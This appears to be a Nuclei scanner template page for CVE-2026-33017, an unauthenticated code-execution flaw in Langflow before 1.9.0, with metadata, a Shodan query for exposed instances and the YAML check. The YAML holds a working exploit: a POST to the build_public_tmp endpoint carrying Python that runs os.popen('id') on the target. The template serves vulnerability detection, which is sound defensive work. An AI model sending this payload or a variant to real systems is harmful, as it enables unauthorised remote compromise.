CVE-2026-33017: Langflow < 1.9.0 - Remote Code Execution
- Template: CVE-2026-33017
- Name: Langflow < 1.9.0 - Remote Code Execution
- Description: Langflow versions prior to 1.9.0 are vulnerable to unauthenticated remote code execution (RCE) via the build_public_tmp endpoint. Attackers can submit a manipulated flow JSON containing Python code that is executed during the build process without proper sandboxing.
- Impact: Remote attackers can execute arbitrary Python code without authentication, leading to full system compromise.
- Remediation: Update to version 1.9.0 or later.
- Severity: critical
- Authors: himind
- Tags: cve, cve2026, langflow, rce, ai, passive, kev, vkev
- References: https://thehackernews.com/2026/03/critical-langflow-flaw-cve-2026-33017.html, https://www.sysdig.com/blog/cve-2026-33017-how-attackers-compromised-langflow-ai-pipelines-in-20-hours, https://nvd.nist.gov/vuln/detail/CVE-2026-33017
- Cves: CVE-2026-33017
- Verified: yes
- Max requests: 3
- Directory: http/cves
- Path: http/cves/2026/CVE-2026-33017.yaml
- Digest: 490a00463044022041d151d1136b4625d3099d8f5cd702cde0abfce11f5e339d134a086728d8ccd0022069adb090d575cbabd19c9b0c620e00c2b2086032759c5205fe1e7a456b6b6798
- Created at: 2026-04-30T05:14:49Z
- Updated at: 2026-11-16T02:03:52Z
- Age in days: 208
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-33017.yaml
Classification
- Cwe: CWE-94
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- Epss score: 0.96814
- Epss percentile: 0.99888
- Not known: cpe
Metadata
- Max-request: 3
- Product: langflow
- Shodan-query: http.favicon.hash:1727196746
- Vendor: langflow
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| langflow:langflow | yes | /v1/products/langflow/langflow |
Labels
- Name: Langflow - Remote Code Execution
- Impact: Remote attackers can execute arbitrary Python code without authentication, leading to full system compromise.
- Remediation: Update to version 1.9.0 or later.
- Vulnerability type: remote_code_execution
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2026-33017
- Not known: requirements
```yaml
id: CVE-2026-33017
info:
name: Langflow < 1.9.0 - Remote Code Execution
author: himind
severity: critical
description: |
Langflow versions prior to 1.9.0 are vulnerable to unauthenticated remote code execution (RCE) via the build_public_tmp endpoint. Attackers can submit a manipulated flow JSON containing Python code that is executed during the build process without proper sandboxing.
impact: |
Remote attackers can execute arbitrary Python code without authentication, leading to full system compromise.
remediation: |
Update to version 1.9.0 or later.
reference:
- https://thehackernews.com/2026/03/critical-langflow-flaw-cve-2026-33017.html
- https://nvd.nist.gov/vuln/detail/CVE-2026-33017
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-33017
epss-score: 0.96814
epss-percentile: 0.99888
cwe-id: CWE-94
metadata:
verified: true
max-request: 3
vendor: langflow
product: langflow
shodan-query: http.favicon.hash:1727196746
tags: cve,cve2026,langflow,rce,ai,passive,kev,vkev
variables:
uuid: "{{uuid}}"
flow: http(1) && (http(2) || http(3))
http:
- method: GET
path:
- "{{BaseURL}}/"
matchers:
- type: word
part: body
words:
- "langflow"
case-insensitive: true
internal: true
- method: POST
path:
- "{{BaseURL}}/api/v1/build_public_tmp/{{uuid}}/flow"
body: |
{
"data": {
"nodes": [
{
"data": {
"node": {
"template": {
"code": {
"value": "def function():\n import os\n return os.popen('id').read()"
}
}
}
}
}
]
}
}
headers:
Content-Type: application/json
matchers:
- type: dsl
dsl:
- 'contains(content_type, "application/json")'
- 'regex("uid=[0-9]+.*gid=[0-9]+.*", body)'
- 'contains(body, "xmsg\":")'
condition: and
- method: GET
path:
- "{{BaseURL}}/api/v1/version"
matchers:
- type: dsl
dsl:
- "compare_versions(version, '< 1.9.0')"
- "status_code == 200"
condition: and
extractors:
- type: json
name: version
json:
- ".version"
internal: true
digest: 490a00463044022041d151d1136b4625d3099d8f5cd702cde0abfce11f5e339d134a086728d8ccd0022069adb090d575cbabd19c9b0c620e00c2b2086032759c5205fe1e7a456b6b6798:922c64590222798bb761d5b6d8e72950
```